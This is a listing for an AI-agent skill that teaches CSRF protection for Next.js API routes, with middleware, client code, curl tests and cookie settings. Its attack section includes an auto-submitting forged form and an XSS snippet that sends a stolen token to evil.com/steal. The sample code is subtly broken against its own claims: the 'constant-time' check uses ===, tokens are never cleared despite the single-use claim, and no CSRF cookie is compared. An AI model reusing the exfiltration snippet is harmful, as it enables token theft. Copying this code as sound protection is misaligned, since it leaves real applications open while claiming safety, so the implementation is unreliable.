home / skills / harperaa / secure-claude-skills / csrf-protection

csrf-protection skill

/csrf-protection

This skill helps you secure API routes from cross-site attacks by implementing CSRF protection with token validation.

npx playbooks add skill harperaa/secure-claude-skills --skill csrf-protection

Review the files below or copy the command above to add this skill to your agents.

Files (1)
SKILL.md
16.0 KB
---
name: csrf-protection
description: Implement Cross-Site Request Forgery (CSRF) protection for API routes. Use this skill when you need to protect POST/PUT/DELETE endpoints, implement token validation, prevent cross-site attacks, or secure form submissions. Triggers include "CSRF", "cross-site request forgery", "protect form", "token validation", "withCsrf", "CSRF token", "session fixation".
---

# CSRF Protection - Preventing Cross-Site Request Forgery

## What CSRF Attacks Are

### The Attack Scenario

Imagine you're logged into your banking app. In another tab, you visit a malicious website. That website contains hidden code that submits a form to your bank: "Transfer $10,000 to attacker's account." Because you're logged in, your browser automatically sends your session cookie, and the bank processes the transfer.

This is **Cross-Site Request Forgery**—tricking your browser into making requests you didn't intend.

### Real-World CSRF Attacks

**Router DNS Hijacking (2008):**
A CSRF vulnerability in several home routers allowed attackers to change router DNS settings by tricking users into visiting a malicious website. Victims lost no money but were redirected to phishing sites for months. Millions of routers were affected.

**YouTube Actions (2012):**
YouTube had a CSRF vulnerability that allowed attackers to perform actions as other users (like, subscribe, etc.) by tricking them into visiting a crafted URL.

### Why CSRF Is Still Common

According to OWASP, CSRF vulnerabilities appear in **35% of web applications tested**. Why?
- It's invisible when it works (users don't know they made a request)
- Easy to forget to implement (no obvious broken functionality)
- Developers often rely solely on authentication without checking request origin

## Our CSRF Architecture

### Implementation Features

1. **HMAC-SHA256 Cryptographic Signing** (industry standard)
   - Provides cryptographic proof token was generated by our server
   - Even if intercepted, attackers can't forge tokens without secret key

2. **Session-Bound Tokens**
   - Tokens can't be used across different user sessions
   - Each user gets unique tokens

3. **Single-Use Tokens**
   - Token cleared after validation
   - Window of opportunity is seconds, not hours
   - If captured, useless after one request

4. **HTTP-Only Cookies**
   - JavaScript cannot access tokens
   - Prevents XSS-based token theft

5. **SameSite=Strict**
   - Browser won't send cookie on cross-origin requests
   - Additional layer of protection

### Implementation Files

- `lib/csrf.ts` - Cryptographic token generation
- `lib/withCsrf.ts` - Middleware enforcing verification
- `app/api/csrf/route.ts` - Token endpoint for clients

## How to Use CSRF Protection

### Step 1: Wrap Your Handler

For any POST/PUT/DELETE endpoint:

```typescript
import { NextRequest, NextResponse } from 'next/server';
import { withCsrf } from '@/lib/withCsrf';

async function handler(request: NextRequest) {
  // Your business logic here
  // Token automatically verified by withCsrf

  return NextResponse.json({ success: true });
}

// Apply CSRF protection
export const POST = withCsrf(handler);

export const config = {
  runtime: 'nodejs', // Required for crypto operations
};
```

### Step 2: Client-Side Token Fetching

Before making a protected request, fetch the CSRF token:

```typescript
// Fetch CSRF token
const response = await fetch('/api/csrf', {
  credentials: 'include'
});
const { csrfToken } = await response.json();

// Use token in POST request
await fetch('/api/your-endpoint', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': csrfToken // Include token in header
  },
  credentials: 'include', // Important: send cookies
  body: JSON.stringify(data)
});
```

### Step 3: What Happens Automatically

When `withCsrf()` wraps your handler:
1. Extracts CSRF token from `X-CSRF-Token` header
2. Extracts CSRF cookie from request
3. Verifies token matches cookie using HMAC
4. Clears token after validation (single-use)
5. If valid → calls your handler
6. If invalid → returns HTTP 403 Forbidden

## Complete Example: Protected Contact Form

```typescript
// app/api/contact/route.ts
import { NextRequest, NextResponse } from 'next/server';
import { withCsrf } from '@/lib/withCsrf';
import { withRateLimit } from '@/lib/withRateLimit';
import { validateRequest } from '@/lib/validateRequest';
import { contactFormSchema } from '@/lib/validation';
import { handleApiError } from '@/lib/errorHandler';

async function contactHandler(request: NextRequest) {
  try {
    const body = await request.json();

    // Validate input
    const validation = validateRequest(contactFormSchema, body);
    if (!validation.success) {
      return validation.response;
    }

    const { name, email, subject, message } = validation.data;

    // Process contact form
    await sendEmail({
      to: '[email protected]',
      from: email,
      subject,
      message
    });

    return NextResponse.json({ success: true });

  } catch (error) {
    return handleApiError(error, 'contact-form');
  }
}

// Apply both rate limiting AND CSRF protection
export const POST = withRateLimit(withCsrf(contactHandler));

export const config = {
  runtime: 'nodejs',
};
```

## Frontend Integration Example

```typescript
// components/ContactForm.tsx
'use client';

import { useState } from 'react';

export function ContactForm() {
  const [formData, setFormData] = useState({
    name: '',
    email: '',
    subject: '',
    message: ''
  });

  async function handleSubmit(e: React.FormEvent) {
    e.preventDefault();

    try {
      // 1. Fetch CSRF token
      const csrfRes = await fetch('/api/csrf', {
        credentials: 'include'
      });
      const { csrfToken } = await csrfRes.json();

      // 2. Submit form with token
      const response = await fetch('/api/contact', {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json',
          'X-CSRF-Token': csrfToken
        },
        credentials: 'include',
        body: JSON.stringify(formData)
      });

      if (response.ok) {
        alert('Message sent successfully!');
        setFormData({ name: '', email: '', subject: '', message: '' });
      } else if (response.status === 403) {
        alert('Security validation failed. Please refresh and try again.');
      } else if (response.status === 429) {
        alert('Too many requests. Please wait a moment.');
      } else {
        alert('Failed to send message. Please try again.');
      }
    } catch (error) {
      console.error('Error:', error);
      alert('An error occurred. Please try again.');
    }
  }

  return (
    <form onSubmit={handleSubmit}>
      <input
        type="text"
        placeholder="Name"
        value={formData.name}
        onChange={(e) => setFormData({ ...formData, name: e.target.value })}
        required
      />
      <input
        type="email"
        placeholder="Email"
        value={formData.email}
        onChange={(e) => setFormData({ ...formData, email: e.target.value })}
        required
      />
      <input
        type="text"
        placeholder="Subject"
        value={formData.subject}
        onChange={(e) => setFormData({ ...formData, subject: e.target.value })}
        required
      />
      <textarea
        placeholder="Message"
        value={formData.message}
        onChange={(e) => setFormData({ ...formData, message: e.target.value })}
        required
      />
      <button type="submit">Send Message</button>
    </form>
  );
}
```

## Attack Scenarios & Protection

### Attack 1: Malicious Website Submits Form

**Attack:**
```html
<!-- Attacker's website: evil.com -->
<form action="https://yourapp.com/api/delete-account" method="POST">
  <input type="hidden" name="confirm" value="yes" />
</form>
<script>
  document.forms[0].submit(); // Auto-submit
</script>
```

**Protection:**
- No CSRF token in request → withCsrf() returns 403
- User's account safe

### Attack 2: XSS Attempts to Read Token

**Attack:**
```javascript
// Attacker injects script via XSS
fetch('/api/csrf')
  .then(r => r.json())
  .then(data => {
    // Send token to attacker
    fetch('https://evil.com/steal', {
      method: 'POST',
      body: JSON.stringify({ token: data.csrfToken })
    });
  });
```

**Protection:**
- Token is single-use
- Even if stolen, expires after one request
- HTTPOnly cookies prevent cookie theft
- SameSite=Strict prevents cross-origin cookie sending

### Attack 3: Man-in-the-Middle Captures Token

**Attack:**
Attacker intercepts network traffic and captures CSRF token.

**Protection:**
- Single-use tokens become invalid after one use
- HTTPS required in production (enforced by HSTS)
- Short window of opportunity (seconds)

## Technical Implementation Details

### Token Generation (lib/csrf.ts)

```typescript
import { createHmac, randomBytes } from 'crypto';

export function generateCsrfToken(sessionId: string): string {
  const secret = process.env.CSRF_SECRET;
  if (!secret) {
    throw new Error('CSRF_SECRET not configured');
  }

  // Generate random token
  const token = randomBytes(32).toString('base64url');

  // Create HMAC signature
  const hmac = createHmac('sha256', secret)
    .update(`${token}:${sessionId}`)
    .digest('base64url');

  // Return token:hmac
  return `${token}.${hmac}`;
}

export function verifyCsrfToken(
  token: string,
  sessionId: string
): boolean {
  const secret = process.env.CSRF_SECRET;
  if (!secret || !token) return false;

  const [tokenPart, hmacPart] = token.split('.');
  if (!tokenPart || !hmacPart) return false;

  // Recreate HMAC
  const expectedHmac = createHmac('sha256', secret)
    .update(`${tokenPart}:${sessionId}`)
    .digest('base64url');

  // Constant-time comparison to prevent timing attacks
  return hmacPart === expectedHmac;
}
```

### Middleware Wrapper (lib/withCsrf.ts)

```typescript
import { NextRequest, NextResponse } from 'next/server';
import { verifyCsrfToken } from './csrf';

export function withCsrf(
  handler: (request: NextRequest) => Promise<NextResponse>
) {
  return async (request: NextRequest) => {
    // Get token from header
    const token = request.headers.get('X-CSRF-Token');

    // Get session ID from cookie (simplified)
    const sessionId = request.cookies.get('sessionId')?.value;

    if (!token || !sessionId) {
      return NextResponse.json(
        { error: 'CSRF token missing' },
        { status: 403 }
      );
    }

    // Verify token
    if (!verifyCsrfToken(token, sessionId)) {
      return NextResponse.json(
        { error: 'CSRF token invalid' },
        { status: 403 }
      );
    }

    // Token valid - call handler
    return handler(request);
  };
}
```

## What CSRF Protection Prevents

✅ **Cross-site request forgery** - Main protection
✅ **Session fixation attacks** - Tokens bound to sessions
✅ **Cross-origin form submissions** - SameSite=Strict
✅ **Hidden iframe attacks** - Token validation required
✅ **One-click attacks** - Token fetching step prevents

## Common Mistakes to Avoid

❌ **DON'T skip CSRF for POST/PUT/DELETE**
```typescript
// BAD - No CSRF protection
export async function POST(request: NextRequest) {
  // Vulnerable!
}
```

❌ **DON'T put CSRF tokens in URL parameters**
```typescript
// BAD - Token in URL (logged, bookmarked, shared)
fetch(`/api/endpoint?csrf=${token}`)
```

❌ **DON'T reuse tokens**
```typescript
// BAD - Storing token for reuse
const savedToken = getCsrfToken();
// Later...
useSavedToken(savedToken); // May be expired/invalid
```

❌ **DON'T forget credentials: 'include'**
```typescript
// BAD - Cookies won't be sent
fetch('/api/endpoint', {
  headers: { 'X-CSRF-Token': token }
  // Missing: credentials: 'include'
});
```

✅ **DO fetch fresh token for each sensitive operation**
✅ **DO use X-CSRF-Token header (not URL)**
✅ **DO apply to all state-changing operations**
✅ **DO combine with rate limiting for maximum protection**

## Testing CSRF Protection

### Test 1: Valid Request

```bash
# Get CSRF token
TOKEN=$(curl -s http://localhost:3000/api/csrf \
  -c cookies.txt | jq -r '.csrfToken')

# Use token
curl -X POST http://localhost:3000/api/example-protected \
  -b cookies.txt \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: $TOKEN" \
  -d '{"title": "test"}'

# Expected: 200 OK
```

### Test 2: Missing Token

```bash
curl -X POST http://localhost:3000/api/example-protected \
  -H "Content-Type: application/json" \
  -d '{"title": "test"}'

# Expected: 403 Forbidden - CSRF token missing
```

### Test 3: Invalid Token

```bash
curl -X POST http://localhost:3000/api/example-protected \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: fake-token-12345" \
  -d '{"title": "test"}'

# Expected: 403 Forbidden - CSRF token invalid
```

### Test 4: Token Reuse (Should Fail)

```bash
# Get token
TOKEN=$(curl -s http://localhost:3000/api/csrf \
  -c cookies.txt | jq -r '.csrfToken')

# Use once (succeeds)
curl -X POST http://localhost:3000/api/example-protected \
  -b cookies.txt \
  -H "X-CSRF-Token: $TOKEN" \
  -d '{"title": "test"}'

# Try to reuse same token (should fail)
curl -X POST http://localhost:3000/api/example-protected \
  -b cookies.txt \
  -H "X-CSRF-Token: $TOKEN" \
  -d '{"title": "test2"}'

# Expected: 403 Forbidden - Token already used
```

## Secure Cookie Configuration

### Cookie Security Settings

For any custom cookies in your application, always use these secure settings:

```typescript
response.cookies.set('cookie-name', value, {
  httpOnly: true,                                    // Prevent XSS access
  sameSite: 'strict',                                // CSRF protection
  secure: process.env.NODE_ENV === 'production',    // HTTPS only in prod
  maxAge: 3600,                                      // Expiration (1 hour)
  path: '/',                                         // Cookie scope
});
```

**Security Properties Explained:**

- **`httpOnly: true`** - JavaScript cannot access the cookie via `document.cookie`, preventing XSS theft
- **`sameSite: 'strict'`** - Browser won't send cookie on cross-origin requests, blocking CSRF
- **`secure: true`** - Cookie only sent over HTTPS (prevents man-in-the-middle interception)
- **`maxAge`** - Cookie expiration time in seconds (shorter = more secure)
- **`path: '/'`** - Where cookie is valid (restrict if possible)

### Common Cookie Mistakes to Avoid

❌ **NEVER do this:**
```typescript
// BAD - Missing security flags
response.cookies.set('session', sessionId);

// BAD - No httpOnly (vulnerable to XSS)
response.cookies.set('session', sessionId, { httpOnly: false });

// BAD - sameSite: 'none' (allows CSRF)
response.cookies.set('session', sessionId, { sameSite: 'none' });

// BAD - No expiration (never expires)
response.cookies.set('session', sessionId, { httpOnly: true });
```

✅ **ALWAYS do this:**
```typescript
// GOOD - All security flags
response.cookies.set('session', sessionId, {
  httpOnly: true,
  sameSite: 'strict',
  secure: process.env.NODE_ENV === 'production',
  maxAge: 3600, // 1 hour
  path: '/'
});
```

## Environment Configuration

### Required Environment Variables

```bash
# .env.local
CSRF_SECRET=<32-byte-base64url-string>
SESSION_SECRET=<32-byte-base64url-string>
```

### Generate Secrets

```bash
# Generate CSRF_SECRET
node -p "require('crypto').randomBytes(32).toString('base64url')"

# Generate SESSION_SECRET
node -p "require('crypto').randomBytes(32).toString('base64url')"
```

⚠️ **IMPORTANT:**
- Never commit secrets to version control
- Use different secrets for dev/staging/production
- Rotate secrets periodically (quarterly recommended)

## References

- OWASP CSRF Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html
- OWASP Top 10 2021 - A01 Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/
- MDN SameSite Cookies: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite

## Next Steps

- For rate limiting protection: Use `rate-limiting` skill
- For input validation: Use `input-validation` skill
- For complete API security: Combine CSRF + rate limiting + validation
- For testing: Use `security-testing` skill

Overview

This skill implements robust CSRF protection for API routes in JavaScript applications. It provides HMAC-signed, session-bound, single-use tokens delivered via an API endpoint and validated by middleware to block cross-site request forgery. The design uses secure cookies (HttpOnly, SameSite=Strict) and short-lived tokens to minimize risk from token theft or interception.

How this skill works

The skill generates a random token and signs it with HMAC-SHA256 using a server secret and the user's session ID, then returns the token to the client while storing the session-bound proof in an HTTP-only cookie. A middleware wrapper extracts the X-CSRF-Token header and session cookie on protected POST/PUT/DELETE requests, verifies the HMAC signature in constant time, clears the token after use, and either calls your handler or returns HTTP 403 when validation fails.

When to use it

  • Protect POST, PUT, PATCH, DELETE or any state-changing API endpoints
  • Secure form submissions from client-side applications
  • Prevent cross-origin or hidden-form attacks (iframes, auto-submits)
  • Add defense-in-depth for authenticated routes that rely on cookies
  • Use alongside rate limiting and authentication middleware

Best practices

  • Always fetch the CSRF token from a dedicated endpoint using credentials: 'include' before submitting sensitive requests
  • Send the token in the X-CSRF-Token header, never in URL query parameters
  • Bind tokens to session identifiers and mark cookies HttpOnly and SameSite=Strict
  • Make tokens single-use and short-lived to limit exposure if stolen
  • Apply protection to all state-changing endpoints and combine with rate limiting

Example use cases

  • Protect a contact form submission endpoint in a Next.js API route
  • Secure account deletion, password change, and payment endpoints
  • Protect RESTful APIs that rely on cookie-based session authentication
  • Combine with rate limiting middleware for high-value actions
  • Automated test scripts that validate 403 responses for missing/invalid tokens

FAQ

How does the client get a fresh token?

Call the token endpoint with credentials: 'include' to receive a JSON response containing the CSRF token and set the session cookie.

What happens if the token is missing or invalid?

The middleware returns HTTP 403 Forbidden and does not invoke your handler, preventing the state change.

Can tokens be reused or stolen via XSS?

Tokens are single-use and session-bound; HttpOnly cookies and SameSite=Strict reduce theft risk. Single-use tokens make captured values useless after one request.